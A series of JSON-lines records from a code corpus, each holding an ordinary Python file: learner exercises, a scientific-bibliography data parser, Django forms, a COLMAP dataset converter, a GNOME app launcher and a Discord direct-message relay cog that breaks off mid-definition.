+{"seq_id":"409247540","text":"\"\"\"\nAsk the user for a number and determine whether the number is prime or not. \n(For those who have forgotten, a prime number is a number that has no divisors.). \nYou can (and should!) use your answer to Exercise 4 to help you. \nTake this opportunity to practice using functions, described below.\n\"\"\"\n\n# Check if the given number is a prime\n# And return a message that says it is or isn't\ndef check_prime(number):\n\n for i in range(2, number - 1):\n if number % i == 0:\n return \"The number {} is not a prime!\".format(number)\n return \"The number {} is a prime!\".format(number)\n\n# Ask the user for his input\n# If user input is quit leave the program\n# If user input is not quit \n# start the function that checks if the number is a prime\nwhile True:\n number = input(\"Give me a number or type 'Quit' to quit \\n > \").lower()\n if number == \"quit\":\n break\n else:\n number = int(number)\n print(check_prime(number) + \"\\n\")\n","sub_path":"check_primality_functions.py","file_name":"check_primality_functions.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"313567284","text":"import os\nimport sys\nimport json\nimport gzip\nimport zipfile\n\nimport pandas as pd\nimport numpy as np\nfrom nameparser import HumanName\nimport requests\nfrom lxml import etree\n\n# determine if we are loading from a jupyter notebook (to make pretty progress bars)\nif 'ipykernel' in sys.modules:\n from tqdm.notebook import tqdm\nelse:\n from tqdm import tqdm\n\nfrom pyscisci.datasource.readwrite import load_preprocessed_data, load_int, load_float, load_html_str\nfrom pyscisci.database import BibDataBase\n\nclass APS(BibDataBase):\n \"\"\"\n Base class for APS interface.\n\n The APS comes as a single xml file.\n\n You must request usage through their website: https://journals.aps.org/datasets\n\n \"\"\"\n\n def __init__(self, path2database = '', keep_in_memory = False, global_filter=None, show_progress=True):\n\n self.path2database = path2database\n self.keep_in_memory = keep_in_memory\n self.global_filter = None\n self.show_progress = show_progress\n\n self._affiliation_df = None\n self._pub_df = None\n self._journal_df = None\n self._author_df = None\n self._pub2year = None\n self._pub2doctype = None\n self._pub2ref_df = None\n self._pub2refnoself_df = None\n self._author2pub_df = None\n self._paa_df = None\n self._pub2field_df=None\n self._fieldinfo_df=None\n\n self.PublicationIdType = str\n self.AffiliationIdType = str\n self.AuthorIdType = None\n\n if not global_filter is None:\n self.set_global_filters(global_filter)\n\n\n def preprocess(self, archive_year=2019, pubid2int=False, metadata_archive=None, citation_archive=None, show_progress=True):\n \"\"\"\n Bulk preprocess the APS raw data.\n\n \"\"\"\n if metadata_archive is None:\n metadata_archive = 'aps-dataset-metadata-{}.zip'.format(archive_year)\n\n self.parse_publications(preprocess=True, preprocess_dicts=True, pubid2int=pubid2int,\n archive_name = metadata_archive, show_progress=show_progress)\n\n if citation_archive is None:\n citation_archive = 'aps-dataset-citations-{}.zip'.format(archive_year)\n\n self.parse_references(preprocess=True, pubid2int=pubid2int, archive_name=citation_archive, show_progress=show_progress)\n\n\n\n def download_from_source(self):\n\n import webbrowser\n webbrowser.open(\"https://journals.aps.org/datasets\")\n\n raise NotImplementedError(\"APS is shared by request from the American Physical Society. Contact APS to download the source files.\")\n\n\n def parse_affiliations(self, preprocess = False, show_progress=False):\n raise NotImplementedError(\"APS is stored as a json archive. Run preprocess to parse the archive.\")\n\n def parse_authors(self, preprocess = False, process_name = True, num_file_lines = 5*10**6, show_progress=False):\n raise NotImplementedError(\"APS does not contain disambiguated author information.\")\n\n def parse_publications(self, preprocess=False, preprocess_dicts=True, pubid2int=False,\n archive_name = 'aps-dataset-metadata-2019.zip', show_progress=False):\n\n archive = zipfile.ZipFile(os.path.join(self.path2database, archive_name), 'r')\n metadata_files = [fname for fname in archive.namelist() if 'aps-dataset-metadata' in fname and '.json' in fname]\n\n # check that the archive concatins the expected directory\n if len(metadata_files) > 0:\n\n if preprocess:\n if not os.path.exists(os.path.join(self.path2database, 'publication')):\n os.mkdir(os.path.join(self.path2database, 'publication'))\n\n if not os.path.exists(os.path.join(self.path2database, 'journal')):\n os.mkdir(os.path.join(self.path2database, 'journal'))\n\n if not os.path.exists(os.path.join(self.path2database, 'affiliation')):\n os.mkdir(os.path.join(self.path2database, 'affiliation'))\n\n if not os.path.exists(os.path.join(self.path2database, 'publicationauthoraffiliation')):\n os.mkdir(os.path.join(self.path2database, 'publicationauthoraffiliation'))\n\n if not os.path.exists(os.path.join(self.path2database, 'pub2field')):\n os.mkdir(os.path.join(self.path2database, 'pub2field'))\n\n if not os.path.exists(os.path.join(self.path2database, 'fieldinfo')):\n os.mkdir(os.path.join(self.path2database, 'fieldinfo'))\n\n\n journal_dict = {}\n journal_column_names = ['JournalId', 'FullName', 'AbbreviatedName', 'Publisher']\n\n pub_column_names = ['PublicationId', 'Title', 'Date', 'Year', 'Doi', 'JournalId', 'Volume', 'Issue', 'PageStart', 'PageEnd', 'DocType', 'TeamSize']\n\n pub_df = []\n pub2year = {}\n pub2doctype = {}\n pub2int = {}\n ipub = 0\n if pubid2int:\n pubintcol = ['PublicationId']\n self.PublicationIdType=int\n else:\n pubintcol = []\n\n iaff = 0\n affil_dict = {}\n paa_df = []\n\n field_dict = {}\n pub2field_df = []\n\n for fname in tqdm(metadata_files, desc='aps-metadata', leave=True, disable=not show_progress):\n # load pub json\n pubjson = json.loads(archive.read(fname).decode('utf-8'))\n ipub += 1\n\n # start parsing publication information\n if pubid2int:\n pubid = ipub\n pub2int[pubjson.get('id', '')] = pubid\n else:\n pubid = pubjson.get('id', '')\n pubinfo = [pubid]\n pubinfo.append(pubjson.get('title', {}).get('value', ''))\n pubinfo.append(pubjson.get('date', ''))\n pubinfo.append(load_int(pubjson.get('date', '').split('-')[0]))\n pub2year[pubid] = pubinfo[-1]\n pubinfo.append(pubjson.get('id', ''))\n\n # journal of publication\n journalid = pubjson.get('journal', {}).get('id', '')\n pubinfo.append(journalid)\n pubinfo.append(load_int(pubjson.get('volume', {}).get('number', '')))\n pubinfo.append(load_int(pubjson.get('issue', {}).get('number', '')))\n\n # add pagenumber info\n pubinfo.append(load_int(pubjson.get('pageStart', '')))\n if not pubjson.get('pageEnd', None) is None:\n pubinfo.append(load_int(pubjson.get('pageEnd', '')))\n elif not (pubjson.get('numPages', None) is None or pubjson.get('pageStart', None) is None):\n pubinfo.append(pubinfo[-1] + load_int(pubjson.get('numPages', '')))\n else:\n pubinfo.append(None)\n\n # add the doctype\n pubinfo.append(pubjson.get('articleType', ''))\n pub2doctype[pubid] = pubinfo[-1]\n\n # calculate TeamSize\n pubinfo.append(len(pubjson.get('authors', [])))\n\n # finish publication infor\n pub_df.append(pubinfo)\n\n # check if we need to save journal information\n if journal_dict.get(journalid, None) is None:\n journal_dict[journalid] = pubjson.get('journal', {})\n journal_dict[journalid]['Publisher'] = pubjson.get('rights', {}).get('copyrightHolders', [{'name':''}])[0].get('name', '')\n\n # start parsing affiliation information\n pub_affid_map = {}\n for pubaffdict in pubjson.get('affiliations', []):\n # check if the affiliation has been used before (only using string match)\n # ToDo: add disambigation\n if affil_dict.get(pubaffdict.get('name', ''), None) is None:\n affil_dict[pubaffdict.get('name', '')] = iaff\n iaff += 1\n\n # map the affiliation to the AffiliationId\n pub_affid_map[pubaffdict.get('id', '')] = affil_dict[pubaffdict.get('name', '')]\n\n authorseq = 1\n # now start parsing author information\n for authordict in pubjson.get('authors', []):\n for affid in authordict.get('affiliationIds', [None]):\n paa_df.append([pubid, authordict.get('name', ''), pub_affid_map.get(affid, None), authorseq])\n\n authorseq += 1\n\n classificationschemes = pubjson.get('classificationSchemes', {})\n\n # now do the subject classifications\n for subjectdict in classificationschemes.get('subjectAreas', []):\n fid = subjectdict.get('id', None)\n\n if not fid is None and len(fid) > 0:\n pub2field_df.append([pubid, fid])\n\n if field_dict.get(fid, None) is None:\n field_dict[fid] = [subjectdict.get('label', None), 'subjectAreas']\n\n # now do the subject disciplines\n for subjectdict in classificationschemes.get('physh', {}).get('disciplines', []):\n fid = subjectdict.get('id', None)\n\n if not fid is None and len(fid) > 0:\n pub2field_df.append([pubid, fid])\n\n if field_dict.get(fid, None) is None:\n field_dict[fid] = [subjectdict.get('label', None), 'disciplines']\n\n # now do the subject concepts\n for subjectdict in classificationschemes.get('physh', {}).get('concepts', []):\n fid = subjectdict.get('id', None)\n\n if not fid is None and len(fid) > 0:\n pub2field_df.append([pubid, fid])\n\n if field_dict.get(fid, None) is None:\n field_dict[fid] = [subjectdict.get('label', None), 'concepts']\n\n \n\n # ToDo: parse concepts\n\n if show_progress:\n print(\"Parsing Complete\\nSaving Publication DataFrames\")\n\n pub_df = pd.DataFrame(pub_df, columns = pub_column_names)\n for intcol in pubintcol + ['Year']:\n pub_df[intcol] = pub_df[intcol].astype(int)\n\n journal_rename_dict = {'name':'FullName', 'id':'JournalId', 'abbreviatedName':'AbbreviatedName'}\n journal_df = pd.DataFrame(journal_dict.values()).rename(columns=journal_rename_dict)\n\n affiliation_df = pd.DataFrame([[affid, name] for name, affid in affil_dict.items()], columns = ['AffiliationId', 'Address'])\n\n paa_df = pd.DataFrame(paa_df, columns = ['PublicationId', 'OrigAuthorName', 'AffiliationId', 'AuthorSequence'])\n for intcol in pubintcol+['AuthorSequence']:\n paa_df[intcol] = paa_df[intcol].astype(int)\n\n pub2field_df = pd.DataFrame(pub2field_df, columns = ['PublicationId', 'FieldId'])\n for intcol in pubintcol:\n pub2field_df[intcol] = pub2field_df[intcol].astype(int)\n\n field_df = pd.DataFrame([[fieldid] + fieldname for fieldid, fieldname in field_dict.items()], columns = ['FieldId', 'FullName', 'ClassificationType'])\n\n if preprocess:\n pub_df.to_hdf(os.path.join(self.path2database, 'publication', 'publication0.hdf'), mode='w', key='publication')\n\n if pubid2int:\n with gzip.open(os.path.join(self.path2database, 'pub2int.json.gz'), 'w') as outfile:\n outfile.write(json.dumps(pub2int).encode('utf8'))\n\n if preprocess_dicts:\n with gzip.open(os.path.join(self.path2database, 'pub2year.json.gz'), 'w') as outfile:\n outfile.write(json.dumps(pub2year).encode('utf8'))\n\n with gzip.open(os.path.join(self.path2database, 'pub2doctype.json.gz'), 'w') as outfile:\n outfile.write(json.dumps(pub2doctype).encode('utf8'))\n\n\n journal_df.to_hdf(os.path.join(self.path2database, 'journal', 'journal0.hdf'), mode='w', key='journal')\n\n affiliation_df.to_hdf(os.path.join(self.path2database, 'affiliation', 'affiliation0.hdf'), mode='w', key='affiliation')\n\n paa_df.to_hdf(os.path.join(self.path2database, 'publicationauthoraffiliation', 'publicationauthoraffiliation0.hdf'), mode='w', key='publicationauthoraffiliation')\n\n pub2field_df.to_hdf( os.path.join(self.path2database, 'pub2field', 'pub2field0.hdf'), mode='w', key='pub2field')\n\n field_df.to_hdf( os.path.join(self.path2database, 'fieldinfo', 'fieldinfo0.hdf'), mode='w', key='pub2field')\n\n else:\n raise FileNotFoundError('The archive {0} does not contain a metadata directory: {1}.'.format(archive_name, 'aps-dataset-metadata'))\n\n def parse_references(self, preprocess=False, pubid2int=False, archive_name='aps-dataset-citations-2019.zip', show_progress=False):\n\n if preprocess and not os.path.exists(os.path.join(self.path2database, 'pub2ref')):\n os.mkdir(os.path.join(self.path2database, 'pub2ref'))\n\n if pubid2int:\n with gzip.open(os.path.join(self.path2database, 'pub2int.json.gz'), 'r') as infile:\n pub2int = json.loads(infile.read().decode('utf8'))\n\n def pub2int_map(doi):\n if pub2int.get(doi, None) is None:\n pub2int[doi] = len(pub2int) + 1\n\n return pub2int[doi]\n\n\n rename_dict = {'citing_doi':'CitingPublicationId', 'cited_doi':'CitedPublicationId'}\n\n archive = zipfile.ZipFile(os.path.join(self.path2database, archive_name), 'r')\n\n citation_file = [fname for fname in archive.namelist() if 'aps-dataset-citations' in fname]\n if len(citation_file) > 0:\n citation_file = citation_file[0]\n csvlines = archive.read(citation_file).decode('utf-8').split('\\n')\n\n pub2ref = [line.split(',') for line in tqdm(csvlines, desc='aps-citations', leave=True, disable=not show_progress)]\n\n pub2ref = pd.DataFrame(pub2ref[1:], columns = pub2ref[0]).rename(columns=rename_dict)\n if pubid2int:\n pub2ref['CitingPublicationId'] = [pub2int_map(pid) for pid in pub2ref['CitingPublicationId'].values]\n pub2ref['CitedPublicationId'] = [pub2int_map(pid) for pid in pub2ref['CitedPublicationId'].values]\n\n with gzip.open(os.path.join(self.path2database, 'pub2int.json.gz'), 'w') as outfile:\n outfile.write(json.dumps(pub2int).encode('utf8'))\n\n if preprocess:\n pub2ref.to_hdf(os.path.join(self.path2database, 'pub2ref', 'pub2ref0.hdf'), mode='w', key = 'pub2ref')\n\n return pub2ref\n\n else:\n raise FileNotFoundError('The archive {0} does not contain a citation file: {1}.'.format(archive_name, 'aps-dataset-citations'))\n\n def parse_publicationauthoraffiliation(self, preprocess = False, num_file_lines=10**7, show_progress=False):\n raise NotImplementedError(\"APS is stored as a json archive. Run preprocess to parse the archive.\")\n\n def parse_fields(self, preprocess = False, num_file_lines=10**7, show_progress=False):\n raise NotImplementedError(\"APS is stored as a json archive. Run preprocess to parse the archive.\")\n\n","sub_path":"pyscisci/datasource/APS.py","file_name":"APS.py","file_ext":"py","file_size_in_byte":15488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"599238825","text":"#least_common_multiple.py\n\n'''least_common_multiple contains only one function, leastCommonMultiple\n leastCommonMultiple finds the smalled common multiple of two numbers\n returns a single int\n least_common_multiple imports primeFactors to solve using prime factorization\n due to the nature of this method, it will take roughly as long as primeFactors\n for each number\n arguments should be kept 8 digits or less'''\n\nfrom botMath import primeFactors\n\n#leastCommonMultiple receives two arguments, integers, and returns their least \n# common multiple\ndef leastCommonMultiple(number1,number2):\n\t\n\ttry:\n\t\t#Numbers need to be integerized because of sys.argv sending strings\n\t\tnumber1 = int(number1)\n\t\tnumber2 = int(number2)\n\texcept:\n\t\t#Return error message if either input is not a number\n\t\tprint(\"Invalid input. Please use only integer values as arguments.\")\n\t\treturn 0\n\n\t#Get prime factors of both numbers\n\tpf1 = primeFactors(number1)\n\tpf2 = primeFactors(number2)\n\n\t#Collect all prime factors of either number\n\t#all_factors is a list that will later be multiplied together\n\tall_factors = []\n\t#For each element 'x' in pf1\n\tfor x in pf1:\n\t\t#Append element to all_factors\n\t\tall_factors.append(x)\n\t\t#Remove element from pf2 to avoid unnecessary duplicates\n\t\tif x in pf2:\n\t\t\tpf2.remove(x)\n\t\n\t#Add in the unused factors from pf2\n\tall_factors += pf2\n\t\n\t#Define least common multiple variable as lcm, equal to 1\n\tlcm = 1\n\n\t#Get product of all prime factors\n\tfor y in all_factors:\n\t\tlcm *= y\n\n\t#Return least common multiple\n\treturn lcm\n\t","sub_path":"leastCommonMultiple/least_common_multiple.py","file_name":"least_common_multiple.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"437236612","text":"def main():\n\tskills = [\"Python\", \"C++\", \"JavaScript\", \"Meeting\", \"Leeting\", \"Eating\"]\n\tcv = {}\n\tname = input(\"Name: \")\n\tage = input(\"Age: \")\n\texperience = input(\"Experiance: \")\n\n\tcv['name'] = name\n\tcv['age'] = age\n\tcv['experience'] = experience\n\tcv['skills'] = []\n\n\tfor index, value in enumerate(skills):\n\t\tprint(f\"{index+1}. {value}\")\n\n\tskill = input(\"Skill: \")\n\tdj_khaled = input(\"Another One: \")\n\n\tcv['skills'].append(skills[int(skill)-1])\n\tcv['skills'].append(skills[int(dj_khaled)-1])\n\n\tif (25 5) and (skills[5] in cv['skills']):\n\t\tprint(\"accepted\")\n\telse:\n\t\tprint(\"rejected\")\n\n\nif __name__ == '__main__':\n\tmain()","sub_path":"recruitment.py","file_name":"recruitment.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"445229925","text":"#context processor#\nfrom beta.script_python.script_API import scrapp_figaro\nimport datetime\n\nfrench_month = ['Janvier','Février','Mars','Avril','Mai','Juin','Juillet','Aout','Septembre','Octobre','Novembre','Decembre']\n\n# def figaro(request):\n\t# try:\t\n\t\t# url = request.url\n\t# except:\n\t\t# return {'title':'error'}\n\t# else:\n\t\t# figaro_articles = scrapp_figaro(10)\n\t\t# filtre = filter(lambda x : x['code'] == int(id), figaro_articles)\n\t\t# a = next(filtre)\n\t\t# return a\n\t\t\ndef strdate(request):\n\td = datetime.datetime.now()\n\tday = d.day\n\tyear = d.year\n\tmonth = french_month[d.month-1]\n\ttext = 'le {} {} {}'\n\treturn { 'strdate' : text.format(day,month,year)}","sub_path":"pressmium/context_processors/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"364316921","text":"import h5py, argparse, os, json\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom colmap.read_model import read_model\nfrom colmap.read_dense import read_array\n\ndef convert_depth(name, src_path, dst_path):\n fname, ext = os.path.splitext(name)\n\n depth_src_name = f'{name}.geometric.bin'\n depth = read_array(os.path.join(src_path, depth_src_name))\n\n depth_dst_name = f'{fname}.h5'\n\n with h5py.File(os.path.join(dst_path, depth_dst_name), 'w') as dst_file:\n dst_file.create_dataset('depth', data=depth.astype(np.float16))\n\ndef camera_to_K(camera):\n assert camera.model == 'PINHOLE'\n\n fx, fy, cx, cy = camera.params\n\n return np.array([\n [fx, 0, cx],\n [0, fy, cy],\n [0, 0, 1],\n ], dtype=np.float32)\n\ndef create_calibration(image, camera, prefix):\n path = os.path.join(prefix, f'calibration_{image.name}.h5') \n\n with h5py.File(path, 'w') as dst_file:\n dst_file.create_dataset('R', data=image.qvec2rotmat())\n dst_file.create_dataset('T', data=image.tvec)\n dst_file.create_dataset('K', data=camera_to_K(camera))\n\ndef covisible_pairs(images, low=0.5, high=0.8):\n images = list(images.values())\n\n idxs = []\n for image in tqdm(images):\n image_idxs = image.point3D_ids\n idxs.append(frozenset(image_idxs[image_idxs != -1].tolist()))\n\n pairs = []\n\n for i in range(len(images)):\n idxs_i = idxs[i]\n for j in range(i+1, len(images)):\n idxs_j = idxs[j]\n\n inter = len(idxs_i & idxs_j)\n ratio = inter / min(len(idxs_i), len(idxs_j))\n\n if low <= ratio <= high:\n pairs.append((images[i].name, images[j].name)) \n\n return pairs\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('path', type=str)\n parser.add_argument('--name', type=str, default='default-scene')\n\n args = parser.parse_args()\n\n args.path = os.path.abspath(args.path)\n\n image_path = os.path.join(args.path, 'images')\n sparse_path = os.path.join(args.path, 'sparse')\n depth_src_path = os.path.join(args.path, 'stereo', 'depth_maps')\n calib_path = os.path.join(args.path, 'dataset', 'calibration')\n depth_dst_path = os.path.join(args.path, 'dataset', 'depth')\n json_path = os.path.join(args.path, 'dataset', 'dataset.json')\n\n cameras, images, points3D = read_model(sparse_path, ext='.bin')\n\n os.makedirs(calib_path, exist_ok=True)\n os.makedirs(depth_dst_path, exist_ok=True)\n\n print('Creating calibration files...')\n for image in tqdm(images.values()):\n create_calibration(image, cameras[image.camera_id], calib_path) \n\n print('Converting depth...')\n for image in tqdm(images.values()):\n convert_depth(image.name, depth_src_path, depth_dst_path)\n\n dataset = {\n 'scenes': {\n args.name: {\n 'pairs': covisible_pairs(images),\n 'pose_path': calib_path,\n 'depth_path': depth_dst_path,\n 'image_path': image_path,\n },\n },\n 'subsets': {\n 'train': [args.name],\n },\n }\n\n with open(json_path, 'w') as json_file:\n json.dump(dataset, json_file)\n","sub_path":"colmap/colmap2dataset.py","file_name":"colmap2dataset.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"477551331","text":"from django import forms\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.core.exceptions import ValidationError\nfrom django.db import transaction\nfrom django.forms import DateInput\nfrom .models import User, Course, Student, Discipline, Question, Test, Task, QuestionTask, Answer, \\\n StudentAnswer, TaskAnswer, Teacher, TakenTask, Video, TaskUploadFile, Post, Message, Payment, StudentPayment, Group, TeacherStudent, \\\n Superuser\n\n\nclass SuperuserSignUpForm(UserCreationForm):\n class Meta(UserCreationForm.Meta):\n model = User\n fields = ('first_name', 'last_name', 'email', 'password1', 'password2',)\n\n def save(self, commit=True):\n user = super().save(commit=False)\n user.is_superuser = True\n if commit:\n user.save()\n return user\n\n\nclass TeacherSignUpForm(UserCreationForm):\n\n class Meta(UserCreationForm.Meta):\n model = User\n fields = ('first_name', 'last_name', 'email', 'password1', 'password2',)\n\n def __init__(self, course, *args, **kwargs):\n super(TeacherSignUpForm, self).__init__(*args, **kwargs)\n self.course = course\n\n def save(self, commit=True):\n user = super().save(commit=False)\n user.is_teacher = True\n user.save()\n teacher = Teacher.objects.create(user=user)\n teacher.courses.add(self.course.pk)\n return user\n\n\nclass StudentSignUpForm(UserCreationForm):\n\n class Meta(UserCreationForm.Meta):\n model = User\n fields = ('first_name', 'last_name', 'email', 'password1', 'password2')\n\n def __init__(self, course, *args, **kwargs):\n super(StudentSignUpForm, self).__init__(*args, **kwargs)\n self.course = course\n\n @transaction.atomic\n def save(self, commit=True):\n user = super().save(commit=False)\n user.is_student = True\n user.save()\n student = Student.objects.create(user=user)\n student.courses.add(self.course.pk)\n return user\n\n\nclass StudentCoursesForm(forms.ModelForm):\n class Meta:\n model = Student\n fields = ('courses', )\n widgets = {\n 'courses': forms.CheckboxSelectMultiple\n }\n\n\nclass DisciplineForm(forms.ModelForm):\n class Meta:\n model = Discipline\n fields = ['name', 'description', 'is_visible']\n\n\nclass TestForm(forms.ModelForm):\n class Meta:\n model = Test\n fields = ('name', 'description','is_visible')\n\n\nclass QuestionForm(forms.ModelForm):\n class Meta:\n model = Question\n fields = ('text', )\n\n\nclass TaskForm(forms.ModelForm):\n class Meta:\n model = Task\n fields = ('name', 'description', 'video', 'time_end', 'is_visible')\n widgets = {\n 'time_end': DateInput(),\n }\n\n\nclass TaskUserFileForm(forms.ModelForm):\n class Meta:\n model = Task\n fields = ('name', 'description', 'video', 'time_end', 'is_visible')\n widgets = {\n 'time_end': DateInput(),\n }\n\n\nclass TaskQuestionAnswerForm(forms.ModelForm):\n class Meta:\n model = Task\n fields = ('name', 'description', 'video', 'time_end', 'is_visible')\n widgets = {\n 'time_end': DateInput(),\n }\n\n\nclass TaskQuestionForm(forms.ModelForm):\n class Meta:\n model = QuestionTask\n fields = ('text',)\n\n\nclass BaseAnswerInlineFormSet(forms.BaseInlineFormSet):\n def clean(self):\n super().clean()\n\n has_one_correct_answer = False\n for form in self.forms:\n if not form.cleaned_data.get('DELETE', False):\n if form.cleaned_data.get('is_correct', False):\n has_one_correct_answer = True\n break\n if not has_one_correct_answer:\n raise ValidationError('Mark at least one answer as correct.', code='no_correct_answer')\n\n\nclass TakeTestForm(forms.ModelForm):\n answer = forms.ModelChoiceField(\n queryset=Answer.objects.none(),\n widget=forms.RadioSelect(),\n required=True,\n empty_label=None)\n\n class Meta:\n model = StudentAnswer\n fields = ('answer', )\n\n def __init__(self, *args, **kwargs):\n question = kwargs.pop('question')\n super().__init__(*args, **kwargs)\n self.fields['answer'].queryset = question.answers.order_by('text')\n\n\nclass TakeTaskForm(forms.ModelForm):\n class Meta:\n model = TaskAnswer\n fields = ()\n\n\nclass PaymentAddForm(forms.ModelForm):\n class Meta:\n model = Payment\n fields = ('name',)\n\n\nclass TakeTaskDocumentForm(forms.ModelForm):\n class Meta:\n model = TaskUploadFile\n fields = ('file',)\n\n\nclass TakeTaskQuestionAnswerForm(forms.ModelForm):\n class Meta:\n model = TaskAnswer\n fields = ('text',)\n\n\nclass TeacherTaskScoreUpdate(forms.ModelForm):\n class Meta:\n model = TakenTask\n fields = ('score', 'review')\n\n\nclass TeacherTaskUpdate(forms.ModelForm):\n class Meta:\n model = TakenTask\n fields = ('review',)\n\n\nclass StudentActiveForm(forms.ModelForm):\n class Meta:\n model = Student\n fields = ('is_active',)\n\n\nclass UserUpdateForm(forms.ModelForm):\n class Meta:\n model = User\n fields = ('first_name', 'last_name', 'email', 'is_superuser', 'is_teacher', 'is_student')\n\n\nclass VideoForm(forms.ModelForm):\n class Meta:\n model = Video\n fields = ['name', 'video', 'is_visible']\n\n\nclass NewsForm(forms.ModelForm):\n class Meta:\n model = Post\n fields = ['title', 'description', 'image', 'is_visible', 'to_main', 'video']\n\n\nclass StudentFinishedForm(forms.ModelForm):\n class Meta:\n model = Student\n fields = ('is_finished', 'finished_date')\n widgets = {\n 'finished_date': DateInput(),\n }\n\n\nclass TeacherCoursesForm(forms.ModelForm):\n class Meta:\n model = Teacher\n fields = ('courses', )\n widgets = {\n 'courses': forms.CheckboxSelectMultiple\n }\n\n\nclass MessageForm(forms.ModelForm):\n class Meta:\n model = Message\n fields = ['message']\n\n\nclass CourseAddForm(forms.ModelForm):\n class Meta:\n model = Course\n fields = ['name', 'description', 'is_payment', 'is_score']\n\n\nclass DisciplineAddForm(forms.ModelForm):\n class Meta:\n model = Discipline\n fields = ['name', 'description', 'is_visible']\n\n\nclass GroupCreateForm(forms.ModelForm):\n class Meta:\n model = Group\n fields = ['name', 'is_active']\n\n\nclass TeacherStudentAddForm(forms.ModelForm):\n class Meta:\n model = TeacherStudent\n fields = ()","sub_path":"classroom/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"446363355","text":"##\n# Project: GNOME App Folders Manager\n# Description: Manage GNOME Shell applications folders\n# Author: Fabio Castelli (Muflone) \n# Copyright: 2016-2017 Fabio Castelli\n# License: GPL-2+\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License as published by the Free\n# Software Foundation; either version 2 of the License, or (at your option)\n# any later version.\n#\n# This program is distributed in the hope that it will be useful, but WITHOUT\n# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for\n# more details.\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA\n##\n\nfrom gi.repository import Gtk\nfrom gi.repository import Gdk\nfrom gi.repository import Gio\n\nfrom gnome_appfolders_manager.constants import APP_ID, DIR_SETTINGS\nfrom gnome_appfolders_manager.functions import get_ui_file\nfrom gnome_appfolders_manager.gtkbuilder_loader import GtkBuilderLoader\n\nfrom gnome_appfolders_manager.ui.main import UIMain\n\n\nclass Application(Gtk.Application):\n def __init__(self):\n \"\"\"Create the application object\"\"\"\n super(self.__class__, self).__init__(application_id=APP_ID)\n self.connect(\"activate\", self.activate)\n self.connect('startup', self.startup)\n\n def startup(self, application):\n \"\"\"Configure the application during the startup\"\"\"\n __pychecker__ = 'unusednames=application'\n self.ui = UIMain(self)\n # Add the about action to the app menu\n action = Gio.SimpleAction(name=\"about\")\n action.connect(\"activate\", self.on_app_about_activate)\n self.add_action(action)\n # Add the shortcut action to the app menu\n # only for GTK+ 3.20.0 and higher\n if not Gtk.check_version(3, 20, 0):\n action = Gio.SimpleAction(name=\"shortcuts\")\n action.connect(\"activate\", self.on_app_shortcuts_activate)\n self.add_action(action)\n # Add the quit action to the app menu\n action = Gio.SimpleAction(name=\"quit\")\n action.connect(\"activate\", self.on_app_quit_activate)\n self.add_action(action)\n # Add the app menu\n builder_appmenu = GtkBuilderLoader(get_ui_file('appmenu.ui'))\n self.set_app_menu(builder_appmenu.app_menu)\n\n def activate(self, application):\n \"\"\"Execute the application\"\"\"\n __pychecker__ = 'unusednames=application'\n self.ui.run()\n\n def on_app_about_activate(self, action, data):\n \"\"\"Show the about dialog from the app menu\"\"\"\n __pychecker__ = 'unusednames=data'\n self.ui.on_action_about_activate(action)\n\n def on_app_shortcuts_activate(self, action, data):\n \"\"\"Show the shortcuts dialog from the app menu\"\"\"\n __pychecker__ = 'unusednames=data'\n self.ui.on_action_shortcuts_activate(action)\n\n def on_app_quit_activate(self, action, data):\n \"\"\"Quit the application from the app menu\"\"\"\n __pychecker__ = 'unusednames=data'\n self.ui.on_action_quit_activate(action)\n","sub_path":"gnome_appfolders_manager/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"227081688","text":"from io import BytesIO\nfrom datetime import datetime\nfrom typing import Optional, List, Text\n\nimport discord\nfrom discord.ext import commands\n\nfrom pymongo.collection import Collection\n\nGUILD = 187711261377691648\nCATEGORY = 752680280950702161\n\nclass InvalidDMContext(Exception):\n pass\n\nclass DM(commands.Cog):\n \"\"\"Direct Message management commands\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n self.collection: Collection = bot.db.dm\n\n\n @property\n def guild(self) -> discord.Guild:\n return self.bot.get_guild(GUILD)\n\n @property\n def category(self) -> discord.CategoryChannel:\n return self.guild.get_channel(CATEGORY)\n\n\n async def cog_check(self, ctx):\n return await self.bot.is_owner(ctx.author)\n\n async def cog_command_error(self, ctx, error):\n if isinstance(error, commands.BadArgument):\n await ctx.send(error)\n elif isinstance(error, commands.CommandInvokeError):\n original = error.original\n if isinstance(original, discord.Forbidden):\n await ctx.send('I do not have permission to execute this action.')\n elif isinstance(original, discord.NotFound):\n await ctx.send(f'This entity does not exist: {original.text}')\n elif isinstance(original, discord.HTTPException):\n await ctx.send('Somehow, an unexpected error occurred. Try again later?')\n elif isinstance(original, InvalidDMContext):\n await ctx.send('You can\\'t do that here')\n else:\n print(original)\n\n\n async def user_from_channel(self, channel: discord.TextChannel) -> discord.User:\n doc = await self.collection.find_one({'channel': channel.id}, {'user': True})\n return self.bot.get_user(doc['user'])\n\n async def get_dm_channel(self, user: discord.User) 